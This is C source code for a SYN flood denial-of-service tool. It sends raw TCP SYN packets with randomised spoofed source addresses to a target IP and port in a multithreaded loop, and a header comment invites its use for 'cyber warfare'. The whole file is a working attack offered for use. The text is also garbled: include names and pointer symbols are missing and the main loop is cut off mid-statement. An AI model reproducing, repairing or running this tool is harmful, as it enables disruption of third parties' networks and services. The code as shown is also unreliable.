/
This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. 😉
/

include

include

include <sys/types.h>

include <sys/socket.h>

include <sys/ioctl.h>

include

include

include

include

include <netinet/tcp.h>

include <netinet/ip.h>

include <netinet/in.h>

include <netinet/if_ether.h>

include

include <net/if.h>

include <arpa/inet.h>

define MAX_PACKET_SIZE 4096

define PHI 0x9e3779b9

static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;

void init_rand(unsigned long int x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a Q[i] + c; c = (t >> 32);
x = t + c;
if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short buf, int count) { register unsigned long sum = 0; while( count > 1 ) { sum += buf++; count -= 2; }
if(count > 0) { sum += (unsigned char *)buf; }
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
return (unsigned short)(~sum);
}

unsigned short tcpcsum(struct iphdr iph, struct tcphdr tcph) {

struct tcp_pseudo
{
    unsigned long src_addr;
    unsigned long dst_addr;
    unsigned char zero;
    unsigned char proto;
    unsigned short length;
} pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr=iph->saddr;
pseudohead.dst_addr=iph->daddr;
pseudohead.zero=0;
pseudohead.proto=IPPROTO_TCP;
pseudohead.length=htons(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short *tcp = malloc(totaltcp_len);
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
unsigned short output = csum(tcp,totaltcp_len);
free(tcp);
return output;

}

void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = 6;
iph->check = 0;
iph->saddr = inet_addr("192.168.3.100");
}

void setup_tcp_header(struct tcphdr *tcph)
{
tcph->source = htons(5678);
tcph->seq = rand();
tcph->ack_seq = 1;
tcph->res2 = 1;
tcph->doff = 5;
tcph->syn = 1;
tcph->window = htons(65535);
tcph->check = 1;
tcph->urg_ptr = 1;
}

void flood(void par1)
{
char td = (char )par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr iph = (struct iphdr )datagram;
struct tcphdr tcph = (void )iph + sizeof(struct iphdr);

struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(floodport);
sin.sin_addr.s_addr = inet_addr(td);

int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){ fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(floodport);

iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len);

int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while(1){ sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

    iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
    iph->check = csum ((unsigned short *) datagram, iph->tot_len);
    tcph->seq = rand_cmwc() & 0xFFFF;
    tcph->source = htons(rand_cmwc() & 0xFFFF);
    tcph->check = 0;
    tcph->check = tcpcsum(iph, tcph);

    pps++;
    if(i >= limiter)
    {
        i = 0;
        usleep(sleeptime);
    }
    i++;
}

}
int main(int argc, char *argv[ ])
{
if(argc < 6){
fprintf(stderr, "Invalid parameters!\n");
fprintf(stdout, "Usage: %s \n", argv[0]);
exit(-1);
}

fprintf(stdout, "Setting up Sockets...\n");

int num_threads = atoi(argv[3]);
floodport = atoi(argv[2]);
int maxpps = atoi(argv[4]);
limiter = 0;
pps = 0;
pthread_t thread[num_threads];

int multiplier = 20;

int i;
for(i = 0;i maxpps)
    {
        if(1 > limiter)
        {
            sleeptime+=100;
        } else {
            limiter--;
        }
    } else {
        limiter++;
        if(sleeptime > 25)
        {
            sleeptime-=25;
        } else {
            sleeptime = 0;
        }
    }
    pps = 0;
}

return 0;

}